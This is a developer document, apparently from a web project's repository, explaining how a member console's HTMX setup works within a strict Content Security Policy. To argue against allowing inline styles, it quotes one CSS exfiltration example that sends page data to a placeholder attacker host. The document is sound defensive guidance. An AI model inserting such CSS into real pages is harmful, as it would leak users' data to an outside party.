4.9 KiB
HTMX Setup
This document describes how the member-console uses HTMX and how its configuration interacts with the Content Security Policy (CSP).
Overview
The member-console uses HTMX for dynamic UI updates without full page reloads. All interactive sections (operator tabs, site management, workspace switching) use the HTMX partial pattern: the server renders HTML fragments that HTMX swaps into the DOM.
Version
HTMX is vendored as a static asset at internal/embeds/static/htmx.min.js (currently v2.0.4).
Loading
HTMX is loaded via a <script defer> tag in both page templates (index.html and operator.html). The defer attribute ensures it loads after the DOM is parsed.
CSP Configuration
The CSP is defined in internal/middleware/security.go and is intentionally strict to protect against XSS. The app handles OIDC authentication, member billing, entitlements, and operator-level admin — all high-value targets for injection attacks.
Relevant CSP Directives
script-src 'self' https://unpkg.com/htmx.org@*
style-src 'self'
script-src: Allows scripts from our own origin and HTMX from unpkg (fallback). Since HTMX is vendored locally, the unpkg allowance is defensive.style-src: Only allows styles from external.cssfiles served by our origin. Inline<style>tags andelement.style.*assignments are blocked.
Why No 'unsafe-inline'
Adding 'unsafe-inline' to script-src would defeat most XSS protection. For style-src, it's less dangerous but still enables CSS-based data exfiltration attacks. We avoid both to maintain defense-in-depth.
HTMX + CSP Interaction
HTMX has two behaviors that conflict with a strict style-src 'self' policy:
1. Indicator Styles (Solved)
By default, HTMX injects an inline <style> tag at load time to define .htmx-indicator CSS rules. This violates style-src 'self'.
Solution: We disable this behavior via a <meta> tag in both page templates:
<meta name="htmx-config" content='{"includeIndicatorStyles": false}'>
The equivalent indicator styles are provided in internal/embeds/static/app.css:
.htmx-indicator { display: none; }
.htmx-request .htmx-indicator { display: inline-block; }
.htmx-request.htmx-indicator { display: inline-block; }
This gives us full control over indicator styling without any CSP violation.
2. Swap Transition Styles (Accepted)
During content swaps, HTMX may call element.style.height = "..." or element.style.transition = "..." to animate the swap. These are inline style assignments that CSP blocks.
Impact: None functional. The partial HTML is swapped correctly — the only effect is that swap animations are skipped (content appears instantly rather than transitioning smoothly). This is an acceptable trade-off for the security benefit.
Why not allowlist the hash? The hash approach (style-src 'self' 'sha256-...') works for static strings like the indicator <style> tag, but swap transitions generate dynamic style values (e.g., height: 47px) that vary per element. You would need to allowlist every possible hash, which is impractical and fragile across HTMX version upgrades.
Why not 'unsafe-inline' for styles only? While less risky than 'unsafe-inline' on script-src, it still enables CSS-based exfiltration (e.g., background: url(attacker.com/steal?data=...)). The visual trade-off (no smooth transitions) is minor compared to the security benefit.
External JavaScript
All JavaScript must be in external .js files under internal/embeds/static/ to comply with CSP. Never add inline <script> tags to templates — they will be silently blocked.
Current external scripts:
error-handler.js— HTMX error handling and toast notificationsgrant-toggle.js— Grant creation form radio toggle (Product vs Entitlement Set path), withhtmx:afterSettlelistener for re-initialization after HTMX swaps
When adding new interactive behavior to HTMX partials, follow this pattern:
- Create a new
.jsfile ininternal/embeds/static/ - Add a
<script defer>tag to the relevant page template - If the script manipulates elements inside HTMX partials, listen for
htmx:afterSettleto re-initialize after swaps
Static Asset Authentication
Static assets under /static/ are exempted from authentication middleware (internal/auth/auth.go). This is necessary because:
- Static assets are public resources (CSS, JS, images, icons)
- Some browser fetches (e.g.,
<link rel="manifest">) use CORS mode withcredentials: 'omit', meaning session cookies are not sent - Without the exemption, unauthenticated static requests would be redirected to the OIDC login flow
External CSS
All custom styles are in internal/embeds/static/app.css. This file consolidates styles that were previously inline <style> blocks in the page templates. When adding new styles, add them to this file rather than creating inline styles.